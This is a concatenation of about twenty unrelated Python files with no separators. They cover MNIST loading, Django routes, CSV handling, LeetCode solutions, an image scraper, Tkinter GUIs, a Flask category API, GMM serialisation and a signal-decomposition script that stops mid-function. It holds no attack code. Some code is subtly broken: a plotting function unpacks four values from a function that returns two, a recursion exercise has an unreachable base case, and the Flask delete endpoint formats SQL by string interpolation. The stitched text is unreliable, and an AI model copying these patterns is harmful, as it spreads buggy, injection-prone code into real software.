def mnist(batch_size=50, shuffle=True, transform=mnist_pre_transform, path='./MNIST_data'):
    train_data = datasets.MNIST(path, train=True, download=True, transform=transform)
    train_mean, train_std = get_dataset_mean_std(train_data)
    print('Train mean and std', train_mean, train_std)
    mnist_train_transform = transforms.Compose([
        transforms.ToTensor(),
        transforms.Normalize(train_mean, train_std,)
    ])
    # Using same transform for both sets
    train_data = datasets.MNIST(path, train=True, download=True, transform=mnist_train_transform)
    test_data = datasets.MNIST(path, train=False, download=True, transform=mnist_train_transform)

    train_loader = utils.data.DataLoader(train_data, batch_size=batch_size, shuffle=shuffle)
    test_loader = utils.data.DataLoader(test_data, batch_size=batch_size, shuffle=shuffle)

    return train_loader, test_loader

def plot_mnist(images, shape):
    fig = plt.figure(figsize=shape[::-1], dpi=80)
    for j in range(1, len(images) + 1):
        ax = fig.add_subplot(shape[0], shape[1], j)
        ax.matshow(images[j - 1, 0, :, :], cmap = matplotlib.cm.binary)
        plt.xticks(np.array([]))
        plt.yticks(np.array([]))
    plt.show()


from django.urls import path
from .import views
app_name = "users"
urlpatterns = [
    path("register/", views.CreateUserView.as_view(), name="create_user"),
    path("<slug:slug>/", views.UserProfileView.as_view(), name="users_profile"),
    path("user/<slug:username>", views.follow_user, name="follow_user"),
    path("<slug:slug>/update", views.UpdateProfileView.as_view(), name="update_profile"),
    path("<slug:slug>/update/user", views.UpdateUserView.as_view(), name="update_user")

]
#r'^profile/username/(?P<slug>[\w.@+-]+)/$'


#csv_test.py
import csv,os
filePath=os.path.join(os.getcwd(),'testdata')

#将数据写入csv文件
#这里是使用writer()写入数据
columns=['姓名','年龄','电话']
#准备写入的数据
data=[('测试人员1',18,'13213213131'),
      ('测试人员2',24,'1321343213131'),
      ('测试人员3',23,'1323413213131'),]

#这里encoding参数设置为gb18030防止中文乱码，newline参数防止多一个空行
with open(filePath+os.sep+'data.csv','w',encoding='gb18030',newline='') as csvfile:
    #获取writer写入对象
    writer=csv.writer(csvfile)
    #这里写入数据标题行（单行数据）
    writer.writerow(columns)
    print('数据标题行写入完毕')
    #写入多行数据
    writer.writerows(data)
    print('数据多行写入完毕')

#将数据从csv文件中读取出来，并且打印
with open(filePath+os.sep+'data.csv','r',encoding='gb18030') as csvfile:
    #使用csv.reader()读取csv数据
    reader=csv.reader(csvfile)
    print('>>reader Type->{0}'.format(reader))
    #使用for循环遍历reader对象
    for line in reader:
        print(line)

#读取csv文件，获取后的数据使用dict直接转化为字典数据，键为标题字段
def getCsvData():
    with open(filePath+os.sep+'data.csv','r',encoding='gb18030') as csvfile:
        #使用csv.reader()读取csv数据
        reader=csv.DictReader(csvfile)
        print('>>reader Type->{0}'.format(reader))
        #使用for循环遍历reader对象
        return [dict(line) for line in reader]
print(getCsvData())

#将字典数据写入csv文件
#准备写入的数据：
data2=[{'字段1':-1,'字段2':-2},{'字段1':1,'字段2':2}]
#写入文件
with open(filePath+os.sep+'data3.csv','w',encoding='gb18030') as csvfile:
    #获取所有字典数据的key部分??--这里的含义是：获取第一个字典，然后遍历他，默认为键。
    keys=[k for k in data2[0]]
    #使用DictWriter()读取数据,fieldnames参数就是指定域的名字
    writer=csv.DictWriter(csvfile,fieldnames=keys)
    #调用writerheader()方法写入数据标题
    writer.writeheader()
    print('标题写入完毕')
    ##循环遍历数据
    for d in data2:
        #使用writer()函数写入
        writer.writerow(d)
    print('数据写入完毕')


class Solution:
    def exist(self, board: List[List[str]], word: str) -> bool:
        rows, cols = len(board), len(board[0])
        N = len(word)
        visited = [[False] * cols for _ in range(rows)]

        def go(x, y, index):
            if index == N: return True

            for dx, dy in [(x + 1, y), (x - 1, y), (x, y + 1), (x, y - 1)]:
                if 0 <= dx < rows and 0 <= dy < cols and not visited[dx][dy] and board[dx][dy] == word[index]:
                    visited[dx][dy] = True
                    if go(dx, dy, index + 1): return True
                    visited[dx][dy] = False

            return False

        for i in range(rows):
            for j in range(cols):
                if board[i][j] == word[0]:
                    visited[i][j] = True
                    if go(i, j, 1): return True
                    visited[i][j] = False

        return False


from 爬图片.UrlManager import UrlManager
from 爬图片.HtmlDownloader import HtmlDownloader
from bs4 import BeautifulSoup
#Html解析器
class HtmlParser(object):
    def __init__(self):
        self.manager = UrlManager()
        self.downloader = HtmlDownloader()

#——————————————————————————————————————————————————————————————————————————————————————————————————————————
#将每页的图集地址存入列表
    def get_new_middle_urls(self, new_root_url,html):
        '''
        抽取下载页面的图集地址
        :param page_url: 下载页面的URL
        :param soup:   soup
        :return:    返回图集的url列表
        '''
        if new_root_url is None or html is None:
            return
        soup = BeautifulSoup(html,'html.parser',from_encoding='utf-8')
        links = soup.find_all('a',attrs={'class':'pic'})
        for each in links[0:15]:
            id = 'http://sj.zol.com.cn'+each.get('href')
            self.manager.add_name(each.get('title'))
            self.manager.add_new_middle_url(id)
        return self.manager.new_middle_urls,self.manager.names

#——————————————————————————————————————————————————————————————————————————————————————————————————————————

    def get_new_top_urls(self,new_middle_url):

        self._get_next(new_middle_url)
        return self.manager.new_top_urls

#——————————————————————————————————————————————————————————————————————————————————————————————————————————
    def _get_next(self,html):
        if html not in self.manager.new_top_urls and html not in self.manager.old_top_urls:
            self.manager.add_new_top_url(html)
        else:
            return

        htm = self.downloader.download(html)
        soup = BeautifulSoup(htm, 'html.parser', from_encoding='utf-8')
        b = 'http://sj.zol.com.cn' + soup.find('a', attrs={'class': 'next'}).get('href')
        self._get_next(b)


import sys
a=sys.stdin.readline()
b=a.split()
c=list()
for i in b:
    z=int(i)
    c.append(z)
del c[len(c)-1]
print("PERFECTION OUTPUT")
i=0
for i in range(len(c)):
    j=1
    s=0
    while j<c[i]:
       if c[i]%j==0:
           s=s+j
       j+=1
    if s==c[i]:
        print(c[i],"PERFECT")
    elif s>c[i]:
        print(c[i],"ABUNDENT")
    else:
        print(c[i],"DEFICIENT")
print("END OF OUTPUT")


import cv2
import numpy as np

def rotate(image, angle):
    image_center = tuple(np.array(image.shape[1::-1]) / 2)
    rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0)
    result = cv2.warpAffine(image, rot_mat, image.shape[1::-1], flags=cv2.INTER_LINEAR)
    return result

def resize_to_fit(image, width, height):
    (img_height, img_width) = image.shape[:2]
    if img_width <= width and img_height <= height:
        return image
    if img_width > width:
        scale = width / float(img_width)
        dim = (width, int(img_height * scale))
    else:
        scale = height / float(img_height)
        dim = (int(img_width * scale), height)
    resized = cv2.resize(image, dim, interpolation=cv2.INTER_AREA)
    return resized

def draw_rect(img, rect, color):
    cv2.rectangle(img, (rect.x, rect.y), (rect.x + rect.width, rect.y + rect.height), color, 2)

def draw_center_line(img, rect1, rect2, color):
    cv2.line(img, rect1.center, rect2.center, color, 2)


try:
    import Tkinter as tk
    from Tkinter import ttk
except ImportError:
    import tkinter as tk
    from tkinter import ttk

# DEFINICIÓN DE FUNCIONES --------------------------
# Muestra en la etiqueta "selec_texto" el valor seleccionado.
def queso_mod():
    selec_queso.set(queso.get())

def cebolla_mod():
    selec_cebolla.set(cebolla.get())

def guindilla_mod():
    selec_guindilla.set(guindilla.get())

# PROGRAMA PRINCIPAL -------------------------------
# Configuración de la raíz
root = tk.Tk()

#Ingredientes pizza
ingredientes = ttk.Label(root, text="INGREDIENTES PIZZA:")
ingredientes.pack(fill='x', padx=10, pady=5)

queso = tk.BooleanVar()
check1 = ttk.Checkbutton(root, text="Queso", command=queso_mod,
                         variable=queso, onvalue=True, offvalue=False)
check1.pack(fill='x', padx=30, pady=5)

cebolla = tk.BooleanVar()
check2 = ttk.Checkbutton(root, text="Cebolla", command=cebolla_mod,
                         variable=cebolla, onvalue=True, offvalue=False)
check2.pack(fill='x', padx=30, pady=5)

guindilla = tk.BooleanVar()
check3 = ttk.Checkbutton(root, text="Guindilla",command=guindilla_mod,
                         variable=guindilla, onvalue=True, offvalue=False)
check3.pack(fill='x', padx=30, pady=5)

# Etiquetas que muestran los valores seleccionados:
selec_queso = tk.StringVar()
selec_queso.set('')
tk.Label(root, textvariable = selec_queso).pack()

selec_cebolla = tk.StringVar()
selec_cebolla.set('')
tk.Label(root, textvariable = selec_cebolla).pack()

selec_guindilla = tk.StringVar()
selec_guindilla.set('')
tk.Label(root, textvariable = selec_guindilla).pack()

# Finalmente bucle de la aplicación
root.mainloop()


"""Execute and serve Python code at a local http port"""

from wsgiref.util import setup_testing_defaults
from wsgiref.simple_server import make_server

PORT = 8181

def app(environ, start_response):
    setup_testing_defaults(environ)
    start_response(
        "200 OK",
        [('Content-type', 'text/plain; charset=utf-8')],
    )

    return [b"oh hai"]

with make_server('', PORT, app) as httpd:
    print(f"Serving HTTP on port {PORT}...")

    # Respond to requests until process is killed
    httpd.serve_forever()

    # Alternative: serve one request, then exit
    #  httpd.handle_request()


import json
import numpy as np
from sklearn.mixture import GaussianMixture

# 模型参数模块

def save_json(model_params):
    json_txt = json.dumps(model_params, indent=4)
    f = open('./model/gmm.json', 'w')  #'../../model/gmm.json'   './model/gmm.json'
    f.write(json_txt)

def load_json(filepath):
    f = open(filepath, 'r')
    model_params = json.load(f)
    model_params['means_init'] = np.asarray(model_params['means_init'])
    model_params['weights'] = np.asarray(model_params['weights'])
    model_params['means'] = np.asarray(model_params['means'])
    model_params['covariances'] = np.asarray(model_params['covariances'])
    model_params['precisions'] = np.asarray(model_params['precisions'])
    model_params['precisions_cholesky'] = np.asarray(model_params['precisions_cholesky'])
    model_params['lower_bound'] = np.asarray(model_params['lower_bound']).astype(np.float64)
    return model_params

def save_model(model):
    model_params = model.get_params()
    model_params['means_init'] = model_params['means_init'].tolist()
    model_params['weights'] = model.weights_.tolist()
    model_params['means'] = model.means_.tolist()
    model_params['covariances'] = model.covariances_.tolist()
    model_params['precisions'] = model.precisions_.tolist()
    model_params['precisions_cholesky'] = model.precisions_cholesky_.tolist()
    model_params['converged'] = model.converged_
    model_params['n_iter'] = model.n_iter_
    model_params['lower_bound'] = model.lower_bound_.tolist()
    save_json(model_params)

def load_model(filepath):
    loaded_params = load_json(filepath)

    model = GaussianMixture(n_components=loaded_params['n_components'],
            covariance_type=loaded_params['covariance_type'],
            tol=loaded_params['tol'],
            reg_covar=loaded_params['reg_covar'],
            max_iter=loaded_params['max_iter'],
            n_init=loaded_params['n_init'],
            init_params=loaded_params['init_params'],
            weights_init=loaded_params['weights_init'],
            means_init=loaded_params['means_init'],
            precisions_init=loaded_params['precisions_init'],
            random_state=loaded_params['random_state'],
            warm_start=loaded_params['warm_start'],
            verbose=loaded_params['verbose'],
            verbose_interval=loaded_params['verbose_interval'])

    model.weights_ = loaded_params['weights']
    model.means_ = loaded_params['means']
    model.covariances_ = loaded_params['covariances']
    model.precisions_ = loaded_params['precisions']
    model.precisions_cholesky_ = loaded_params['precisions_cholesky']
    model.converged_ = loaded_params['converged']
    model.n_iter = loaded_params['n_iter']
    model.lower_bound_ = loaded_params['lower_bound']
    return model


r"""
https://leetcode.com/explore/interview/card/amazon/78/trees-and-graphs/506/

Binary Tree Level Order Traversal

Given a binary tree, return the level order traversal of its nodes' values. (ie, from left to right, level by level).

For example:
Given binary tree [3,9,20,null,null,15,7],
    3
   / \
  9  20
    /  \
   15   7
return its level order traversal as:
[
  [3],
  [9,20],
  [15,7]
]
"""
from collections import deque
from typing import List

class TreeNode:
    """Definition for a binary tree node."""

    def __init__(self, x):
        self.val = x
        self.left = None
        self.right = None

def levelOrder(root: TreeNode) -> List[List[int]]:
    queue = deque([root]) if root else None
    result = []
    while queue:
        result.append([node.val for node in queue])
        aux = deque()
        while queue:
            node = queue.popleft()
            if node.left:
                aux.append(node.left)
            if node.right:
                aux.append(node.right)
        queue = aux
    return result


#  Write a program that takes a positive number as an argument and prints the numbers from n to zero.

def recursive(n):

    if n < 1:
        return print(f"Invalid submission value of {n}")
    # Base
    if n == 0:
        return
    else:
        print(n)
        recursive(n - 1)

n = -10
recursive(n)

# Write a function that prints the natural numbers from 1 to n. Below is a attempt that creates a recurssion error. I likely overcomplexed solution

# def natural_numbers(number):

#     def recursive_calculation(number):
#       start = 0

#       # Base
#       if start > number:
#         return list_output
#       else:
#         list_output =[]
#         value = recursive_calculation(start + 1)
#         list_output.append(value)

#     recursive_calculation(number)

# print(natural_numbers(5))

#2. Retry

# 3. Write a function that returns the nth elements in the Fibonacci Sequence.

# 4. Write a function that calculates the value of 'a' to the power of 'b'.
def power_up(base, expo):

  #  If the base is one its going to return itself
   if expo == 1:
      return base
  #  Recursion
   else:
      # Line 47 will keep calling the base function recalculating it with the new values until it stops
      return(base * power_up(base, expo - 1))

print(power_up(10,2))


import os
import jwt
from functools import wraps

from flask import Flask, jsonify, request, abort, make_response
from flask_restful import Resource
from flask_jwt_extended import get_jwt_identity, jwt_required

from . import common_functions
from ..models import products, saleorders, users, category
from ..utils import verify, validator
from .. import database

class ProductCategory(Resource):

    def post(self):
        """POST /category endpoint"""

        # Token verification and admin user determination
        logged_user = verify.verify_tokens()[0]
        common_functions.abort_if_user_is_not_admin(logged_user)

        data = request.get_json()
        common_functions.no_json_in_request(data)
        try:
            category_name = data['category_name']
        except KeyError:
            # If product is missing required parameter
            return make_response(jsonify({
                        "message": "Please provide a name for the category"
                        }), 400)

        if not isinstance(category_name, str):
            return make_response(jsonify({
                        "message": "Category name should be a string"
                        }), 406)

        validator.Validator.check_duplication("category_name", "category", category_name)

        added_category = category.Category(category_name=category_name)
        added_category.save()

        return make_response(jsonify({
            "message": "Category created successfully",
            "category": {
                "category_name": category_name
            }
        }), 201)

    def get(self):
        """GET /category"""
        logged_user = verify.verify_tokens()[0]
        common_functions.abort_if_user_is_not_admin(logged_user)
        fetch_category = category.Category()
        fetched_categories = fetch_category.get()

        if not fetched_categories:
            return make_response(jsonify({
                "message": "No categories created yet"
            }), 404)

        response = make_response(jsonify({
            "message": "Categories fetched successfully",
            "categories": fetched_categories
        }), 200)

        return response

class SpecificCategory(Resource):
    """Handles CRUD on a specific category"""

    def put(self, category_id):
        """PUT /product/<int:product_id> endpoint"""

        logged_user = verify.verify_tokens()[0]
        common_functions.abort_if_user_is_not_admin(logged_user)

        data = request.get_json()
        try:
            category_name = data['category_name']

        except:
            return make_response(jsonify({
                "message": "Pass update data for category name"
            }), 403)

        common_functions.no_json_in_request(data)
        # verify.verify_post_product_fields(product_price, product_name, category)
        try:
            striped_category_name = category_name.strip()
        except:
            return make_response(jsonify({
                "message": "Category name should be a string"
            }), 403)

        validator.Validator.check_duplication("category_name", "category", striped_category_name)

        update_category = category.Category(category_id=category_id, category_name=striped_category_name)
        update_category.put()
        return make_response(jsonify({
            "message":"Product updated successfully",
            "category": data
        }), 202)

    def delete(self, category_id):
        logged_user = verify.verify_tokens()[0]
        common_functions.abort_if_user_is_not_admin(logged_user)
        query="""SELECT * FROM category WHERE category_id = {}""".format(category_id)
        cat_exists = database.select_from_db(query)
        if not cat_exists:
            return make_response(jsonify({
                "message":"No need for that. Category with id {} does not exist".format(category_id),
            }), 404)
        fetch_category = category.Category(category_id=category_id)
        fetch_category.delete()

        return make_response(jsonify({
            "message": "Category deleted successfully"
        }), 200)


# -*- coding: utf-8 -*-
from __future__ import unicode_literals # permite incluir acentos nos gráficos (legendas)
from Tkinter import *
from tkFileDialog import *
import tkMessageBox
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('TkAgg')

root = Tk()

#Variaveis
tema = StringVar(master=root)
tema.set("fivethirtyeight")
grafico = StringVar(master=root)
grafico.set("linha")
estilos = plt.style.available
fig = plt.figure(dpi=150, figsize=(4, 4)) # Cria uma figura, onde ficará o gráfico
plt.ion() #Habilita o modo interativo

def exibe_ajuda():
    texto = """
1. Insira os dados do gráfico diretamente na caixa de texto ou através do menu "Arquivo>Abrir arquivo".
Atenção: Os dados devem respeitar o formato "x,y" para gráficos do tipo linha e "identificador,porcentagem" ou "identificador,quantidade" para gráficos do tipo pizza. Cada par de dados deve ser separado por uma quebra de linha.
Exemplos: linha:
"1,1
3,5
6,2",
pizza:
"Sim,30
Não,40
Talvez,30".
2. Escolha o tipo de gráfico: linha ou pizza.
3. Insira o nome do gráfico no local especificado.
4. Se desejar, escolha a aparência do gráfico através do menu "Tema".
5. Clique em "Gerar gráfico" para gerar e visualizar o gráfico.
6. Se desejar, exporte o gráfico para uma imagem através do menu "Arquivo>Salvar arquivo" ou pelo botão na barra de ferramentas acima do gráfico.
"""
    tkMessageBox.showinfo("Como utilizar", texto)

def sair(master): # Fecha o programa
    if tkMessageBox.askyesno("Fechar", "Deseja fechar o programa?"):
        #master.destroy()
        quit()

def abre_arquivo(caixa_entrada):
    caminho = askopenfilename(initialdir = "~/Documentos", filetypes = (('Arquivos de Texto','*.txt *.doc *.docx *.odt'),("Todos os Arquivos","*.*"))) #Linux
    #caminho = askopenfilename(initialdir = "C:/", title="Abrir arquivo", filetypes = (('Arquivos de Texto','*.txt *.doc *.docx *.odt'),("Todos os Arquivos","*.*"))) #Windows
    if not caminho: # se o diálogo for cancelado, sai da função
        return
    with open(caminho) as arq:
        conteudo = arq.read()
    caixa_entrada.delete(1.0, END)
    caixa_entrada.insert(INSERT, conteudo)

def salva_arquivo():
    caminho = asksaveasfilename(initialdir = "~/Imagens", defaultextension=".png", filetypes=(("Arquivos de imagem", "*.png *.jpeg"),("Todos os arquivos", "*.*")))
    #caminho = asksaveasfilename(initialdir = "C:/", defaultextension=".png", filetypes=(("Arquivos de imagem", "*.png *.jpeg"),("Todos os arquivos", "*.*"))) #Windows
    if not caminho: # se o diálogo for cancelado, sai da função
        return
    plt.savefig(caminho)

def gera_grafico(caixa_entrada, ent):
    try: # Verifica se os dados estão em formato correto
        # Separa os dados em uma lista, por quebra de linha
        dados = []
        dados = caixa_entrada.get(1.0, END).split("\n")
        x = []
        y = []

        for i in dados:
            if i != '':
                if grafico.get() == 'linha':
                    x.append(float(i.split(',')[0]))
                else:
                    x.append(i.split(',')[0])

                y.append(float(i.split(',')[1]))

                if len(i.split(',')) > 2:
                    raise IndexError

    except:
        tkMessageBox.showwarning(
        "Atenção",
        "Os dados estão em formato inesperado.")
        return

    if tema.get() == 'dark_background':
        estilo = ['dark_background', 'seaborn-dark-palette']
        fig.set(facecolor="black")
        plt.rcParams['savefig.facecolor']='black'
    else:
        estilo = tema.get()
        fig.set(facecolor="whitesmoke")
        plt.rcParams['savefig.facecolor']='whitesmoke'

    with plt.style.context(estilo):

        fig.clear() # Limpa o que estiver na figura

        if grafico.get() == "linha":
            # Gera gráfico de linha
            plt.plot(x,y, marker='o')
        else:
            # Gera gráfico de pizza
            patches, texts = plt.pie(y, startangle=90, radius=1.2)
            # Formata a legenda do gráfico
            labels = ['{0} - {1:1.2f} %'.format(i,100.0*j/sum(y)) for i,j in zip(x, y)]
            plt.legend(patches, labels, fontsize=6, loc='lower left')
            plt.axis('equal')  # Define o aspecto da pizza como um circulo

        titulo = ent.get()
        plt.title(titulo)
        fig.canvas.draw() # Desenha o gráfico no canvas


import secrets
from typing import Sequence

from pydantic import BaseModel
from sqlalchemy import func, select
from sqlalchemy.orm import Session

from app.common.crud import CRUDBase
from app.tickets.models import Ticket, TicketCategory
from app.tickets.schemas.ticket import TicketCreate

class CRUDTicket(CRUDBase[Ticket, TicketCreate, BaseModel]):
    def get_by_token(self, db: Session, token: str) -> Ticket | None:
        query = select(self.model).where(self.model.token == token)
        result = db.execute(query)
        return result.scalar()

    def get_all_by_user(self, db: Session, *, user_id: int, skip: int = 0, limit: int = 100) -> Sequence[Ticket]:
        query = select(self.model).where(self.model.user_id == user_id).offset(skip).limit(limit)
        result = db.execute(query)
        return result.scalars().all()

    def get_by_event_and_user(self, db: Session, *, user_id: int, ticket_category_id: int) -> Sequence[Ticket]:
        event_query = select(TicketCategory.event_id).where(TicketCategory.id == ticket_category_id)
        ticket_categories_query = select(TicketCategory.id).where(TicketCategory.event_id.in_(event_query))
        query = (
            select(self.model)
            .where(self.model.ticket_category_id.in_(ticket_categories_query))
            .where(self.model.user_id == user_id)
        )
        result = db.execute(query)
        return result.scalars().all()

    def create(self, db: Session, *, obj_in: TicketCreate) -> Ticket:
        while True:
            token = secrets.token_urlsafe(24)
            ticket_by_url = self.get_by_token(db, token=token)
            if ticket_by_url is None:
                break
        ticket = self.model(**obj_in.model_dump(), token=token)
        db.add(ticket)
        db.commit()
        db.refresh(ticket)
        return ticket

    def get_count_for_ticket_category(self, db: Session, *, ticket_category_id: int) -> int:
        query = select(func.count(self.model.id)).where(  # pylint: disable=not-callable
            self.model.ticket_category_id == ticket_category_id
        )
        result = db.execute(query)
        return result.scalar()


from torchvision import transforms
from torch import distributed
from PIL import Image

from .utils import repeater, get_batch

from .miniimagenet import MiniImageNet
from .domainnet_real import DomainNetReal
from .datasets import LabeledDataset

from .datamodule import DataModule
from .ssl_datamodule import SSLDataModule

from .cifar10_datamodule import CIFAR10DataModule
from .cifar100_datamodule import CIFAR100DataModule
from .svhn_datamodule import SVHNDataModule
from .miniimagenet_datamodule import MiniImageNetDataModule
from .domainnet_real_datamodule import DomainNetRealDataModule

from ..transforms import CenterResizedCrop

# modules
from . import utils

# for type hint
from typing import Dict, Callable
from argparse import Namespace

def _get_world_size() -> int:
    if distributed.is_available() and distributed.is_initialized():
        return distributed.get_world_size()
    else:
        return 1

def _get_dataset_transforms(args: Namespace) -> Dict[str, Callable]:
    if args.data_dims is None and args.dataset == "domainnet-real":
        dims = (3, 224, 224)
    else:
        dims = args.data_dims

    if dims is not None:
        dims = tuple(dims)

        return dict(
            dims=dims,
            train_transform=transforms.Compose([
                transforms.RandomResizedCrop(
                    size=dims[-2:],
                    scale=(0.08, 1.0),
                    ratio=(3. / 4, 4. / 3.),
                    interpolation=Image.BICUBIC),
                transforms.ToTensor()]),
            val_transform=transforms.Compose([
                CenterResizedCrop(dims[-2:], interpolation=Image.BICUBIC),
                transforms.ToTensor()]),
            test_transform=transforms.Compose([
                CenterResizedCrop(dims[-2:], interpolation=Image.BICUBIC),
                transforms.ToTensor()]),
        )

    else:
        return dict(
            train_transform=transforms.Compose([transforms.ToTensor()]),
            val_transform=transforms.Compose([transforms.ToTensor()]),
            test_transform=transforms.Compose([transforms.ToTensor()]),
        )

def get_dataset(args: Namespace) -> SSLDataModule:
    world_size = _get_world_size()

    kwargs = dict(
        data_dir=args.data_dir,
        labeled_train_size=args.labeled_train_size,
        validation_size=args.validation_size,
        train_batch_size=args.train_batch_size,
        unlabeled_batch_size=args.unlabeled_train_batch_size,
        test_batch_size=args.test_batch_size,
        num_workers=args.num_workers,
        train_min_size=world_size * args.train_batch_size,
        unlabeled_train_min_size=world_size * args.unlabeled_train_batch_size,
        test_min_size=world_size * args.test_batch_size,
        **_get_dataset_transforms(args),
    )

    if args.dataset == "cifar10":
        return CIFAR10DataModule(**kwargs)

    elif args.dataset == "cifar100":
        return CIFAR100DataModule(**kwargs)

    elif args.dataset == "svhn":
        return SVHNDataModule(**kwargs)

    elif args.dataset == "miniimagenet":
        return MiniImageNetDataModule(**kwargs)

    elif args.dataset == "domainnet-real":
        return DomainNetRealDataModule(**kwargs)

    else:
        raise NotImplementedError(f"\"{args.dataset}\" is not a supported dataset")

__all__ = [
    # modules
    "utils",
    "types",

    # classes
    "MiniImageNet",
    "DomainNetReal",
    "LabeledDataset",

    "DataModule",
    "SSLDataModule",
    "CIFAR10DataModule",
    "CIFAR100DataModule",
    "DomainNetRealDataModule",
    "MiniImageNetDataModule",
    "SVHNDataModule",

    # functions
    "repeater",
    "get_batch",
    "get_dataset",
]


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.backends.backend_pdf import PdfPages
import math
import pywt
from PyEMD import EMD
from scipy import signal
from Processing import parse_motion_file, lowpass_filter
from vmdpy import VMD
import emd as emd2
from tqdm import tqdm, trange
from scipy import signal
import scipy.interpolate as interpolate
import scipy.io

def stft_decomp(data):
    sampling_freq = 200
    window_size = 2048
    overlap = 2047

    # s, f, t, im = plt.specgram(data, Fs=sampling_freq, NFFT=window_size, noverlap=overlap, cmap='rainbow')
    # print(f[:20])
    # plt.ylim(0, 20)

    f, t, Zxx = signal.stft(data, fs=sampling_freq, nfft=window_size, nperseg=window_size, noverlap=overlap)
    return f, t, Zxx

def wavelet_decomp(data):
    fs = 200
    wavelet = 'cmor1.5-1'
    frequencies = np.array(np.arange(start=0.01, stop=20.01, step=0.05)) / fs
    scales = pywt.frequency2scale(wavelet, frequencies)
    print(len(scales))

    coef, freqs = pywt.cwt(data, scales, wavelet)

    return coef, freqs
    # print(coef.shape)
    # print(len(freqs))

    # graph
    # plt.imshow(abs(coef), extent=[0, 7510, 20, 0] , aspect='auto', cmap='rainbow')
    # plt.gca().invert_yaxis()
    # plt.xticks(ticks=np.arange(0, coef.shape[1], step=1000), labels=np.arange(0, coef.shape[1], step=1000)/fs)

def emd_decomp(data):
    imf = emd2.sift.sift(data)

    # instantaneous frequency, phase and amplitude
    IP, IF, IA = emd2.spectra.frequency_transform(imf, 200, 'hilbert')
    return imf

def graphEMDModeSpectrums(data, filename):
    imf = emd_decomp(data)
    with PdfPages(filename) as pdf:
        for i in trange(imf.shape[1]):
            fig, ax = plt.subplots(figsize=(8, 6))
            fft_result = np.fft.fft(imf[:, i])
            frequencies = np.fft.fftfreq(len(fft_result), 1/200)
            ax.set_title(f'IMF {i+1} Spectrum')
            ax.semilogy(frequencies, np.abs(fft_result))
            ax.set_xlabel('Frequency (Hz)')
            ax.set_ylabel('Amplitude')
            ax.grid(True)
            ax.set_xlim(0, frequencies.max())
            pdf.savefig(fig)
            plt.close(fig)

def vmd_decomp(data):
    alpha = 2000       # moderate bandwidth constraint
    tau = 0            # noise-tolerance (no strict fidelity enforcement)
    K = 8              # modes
    DC = 0             # no DC part imposed
    init = 1           # initialize omegas uniformly
    tol = 1e-7

    u, u_hat, omega = VMD(data, alpha, tau, K, DC, init, tol)
    return u, omega[-1:]

def graphVMDModeSpectrums(data, filename):
    u, u_hat, omega, K = vmd_decomp(data)

    with PdfPages(filename) as pdf:
        for i in trange(K):
            fig, ax = plt.subplots(figsize=(8, 6))
            magnitude_spectrum = np.abs(u_hat[:, i])
            freqs = np.fft.fftshift(np.fft.fftfreq(len(magnitude_spectrum)))

            ax.semilogy(freqs, magnitude_spectrum)

            # Set labels and title
            ax.set_xlabel('Frequency (Hz)')
            ax.set_ylabel('Magnitude Spectrum')
            ax.set_title(f'Mode {i + 1} Spectrum')
            ax.set_xlim(0, freqs.max())
            pdf.savefig(fig)
            plt.close(fig)

    print(omega[-1:])

def comparePerturbation(data, time, n_perturb):
    imfs, target_freqs = vmd_decomp(data)
    target_freqs = target_freqs[0]
    freq_segments = []

    plt.figure()
    for i in range(imfs.shape[0]):
        plt.plot(imfs[i])

    # create ranges for each VMD IMF frequency
    for i in range(1, len(target_freqs)-1):
        freq_segments.append(((target_freqs[i] + target_freqs[i-1])/2, (target_freqs[i] + target_freqs[i+1])/2))

    freq_segments.insert(0, (0, freq_segments[0][0]))
    freq_segments.append((freq_segments[-1][1], target_freqs[-1] + (target_freqs[-1] - freq_segments[-1][1])))

    # create warpings for each range
    warping = np.zeros([n_perturb, 8, 7510])
    for j in range(n_perturb):
        for i in range(8):
            warping[j, i, :] = MagnitudeWarp(time, 8)

    plotWarping(warping[0])
    show_buckets(freq_segments, data)

    plt.figure()
    # # warp VMD IMFS
    new_vmd_imfs = np.zeros(imfs.shape)
    new_VMDs = np.zeros([n_perturb, len(data)])
    for j in trange(n_perturb):
        for i in range(8):
            new_vmd_imfs[i, :] = imfs[i, :] * warping[j, i, :]
        new_VMD = np.sum(new_vmd_imfs, axis=0)
        new_VMDs[j] = new_VMD
        plt.plot(new_VMD, alpha=0.7)
    plt.plot(data, color='k', label='original')
    plt.title('VMD Perturbed Trajectories')

    m_VMD, u_VMD, l_VMD = calculateMeanStdDev(new_VMDs)
    plt.plot(m_VMD, color=(1, 0, 1), label='mean')
    plt.legend()

    # # # warp STFT
    f, t, Zxx = stft_decomp(data)
    new_Zxx = np.zeros(Zxx.shape)
    new_STFTS = np.zeros([n_perturb, len(data)])

    plt.figure()
    show_stft_buckets(freq_segments, f, t, Zxx)

    plt.figure()
    for k in trange(n_perturb):
        for i in range(len(f)):
            for j in range(len(freq_segments)):
                if (freq_segments[j])[0] <= f[i] < (freq_segments[j])[1]:
                    new_Zxx[i][:7510] = Zxx[i][:7510] * warping[k, j, :]
        new_STFT = signal.istft(new_Zxx, fs=200, nperseg=2048, nfft=2048, noverlap=2047)
        new_STFTS[k, :] = new_STFT[1]
        plt.plot(new_STFT[1], alpha=0.7)
    plt.plot(data, color='k', label='original')
    plt.title('STFT Perturbed Trajectories')

    m_STFT, u_STFT, l_STFT = calculateMeanStdDev(new_STFTS)
    plt.plot(m_STFT, color=(1, 0, 1), label='mean')
    plt.legend()

    scipy.io.savemat('data.mat', mdict={'data': data})
    scipy.io.savemat('warpings.mat', mdict={'warpings': warping})

    # # # Warp EMD
    imf = emd_decomp(data)

    # plt.figure()
    new_emd_imfs = np.zeros(imf.shape)
    new_EMDs = np.zeros([n_perturb, len(data)])
    max_frequencies = np.zeros(8)

    for i in range(imf.shape[1]):
        fft_result = np.fft.fft(imf[:, i])
        frequencies = np.fft.fftfreq(len(fft_result), 1/200)
        magnitude = np.abs(fft_result)
        max_amplitude_index = np.argmax(magnitude)
        frequency_with_max_amplitude = frequencies[max_amplitude_index]
        max_frequencies[i] = frequency_with_max_amplitude

    show_emd_buckets(freq_segments, imf, max_frequencies)

    plt.figure()
    for k in trange(n_perturb):
        for i in range(imf.shape[1]):
            for j in range(len(freq_segments)):
                if (freq_segments[j])[0] <= np.abs(max_frequencies[i]) < (freq_segments[j])[1]:
                    new_emd_imfs[:, i] = imf[:, i] * warping[k, j, :]
        new_IMF = np.sum(new_emd_imfs.T, axis=0)
